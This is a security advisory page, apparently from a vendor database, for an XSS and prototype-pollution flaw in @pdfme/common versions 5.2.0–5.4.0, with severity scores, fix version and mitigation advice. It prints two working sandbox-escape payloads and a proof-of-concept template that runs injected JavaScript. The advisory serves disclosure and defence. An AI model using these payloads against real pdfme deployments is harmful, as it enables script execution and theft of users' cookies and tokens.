GHSA-54xv-94qv-2gfg is a medium-severity (CVSS 6.1) Cross-site Scripting (XSS) vulnerability in @pdfme/common. A fix is available for @pdfme/common — see the affected versions and patch details below.
@pdfme/common vulnerable to to XSS and Prototype Pollution through its expression evaluation
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-54xv-94qv-2gfg.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-54xv-94qv-2gfg plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@pdfme/commonnpmDescription
Summary
The expression evaluation feature in pdfme 5.2.0 to 5.4.0 contains critical vulnerabilities allowing sandbox escape leading to XSS and prototype pollution attacks.
Details
1. Sandbox Escape Leading to XSS
The expression evaluator's sandbox can be bypassed to execute arbitrary JavaScript code. Attackers can obtain the Function constructor through indirect methods:
// Attack vector 1: Using Object.getOwnPropertyDescriptor
{ ((f, g) => f(g(Object), "constructor").value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)("alert(location)")() }
// Attack vector 2: Using object property access
{ { f: Object.getOwnPropertyDescriptor }.f({ g: Object.getPrototypeOf }.g(Object), "constructor").value("alert(location)")() }
Both payloads bypass the sandbox restrictions and execute Function("alert(location)")().
2. Prototype Pollution
The expression evaluator allows access to prototype accessor methods which can be exploited with Object.assign to pollute the prototype chain:
__lookupGetter____lookupSetter____defineGetter____defineSetter__
Impact
These vulnerabilities allow attackers to:
- Execute arbitrary JavaScript code in the context of the application
- Steal sensitive information including cookies and tokens
- Modify application behavior through prototype pollution
- Potentially perform actions on behalf of users
Proof of Concept
Loading the following template in pdfme triggers alert(location):
{
"schemas": [[{
"name": "field1",
"type": "text",
"content": "{ ((f, g) => f(g(Object), 'constructor').value)(Object.getOwnPropertyDescriptor, Object.getPrototypeOf)('alert(location)')() }",
"position": { "x": 0, "y": 0 },
"width": 100,
"height": 100
}]],
"basePdf": { "width": 100, "height": 100 },
"pdfmeVersion": "5.4.0"
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @pdfme/common | ≥ 5.2.0&&< 5.4.1 | 5.4.1npm install @pdfme/common@5.4.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @pdfme/common, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @pdfme/common to 5.4.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-54xv-94qv-2gfg is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-54xv-94qv-2gfg can be triaged on real exposure rather than presence alone.
Tailored to GHSA-54xv-94qv-2gfg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-54xv-94qv-2gfg in your dependencies?
O3 Security finds GHSA-54xv-94qv-2gfg across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.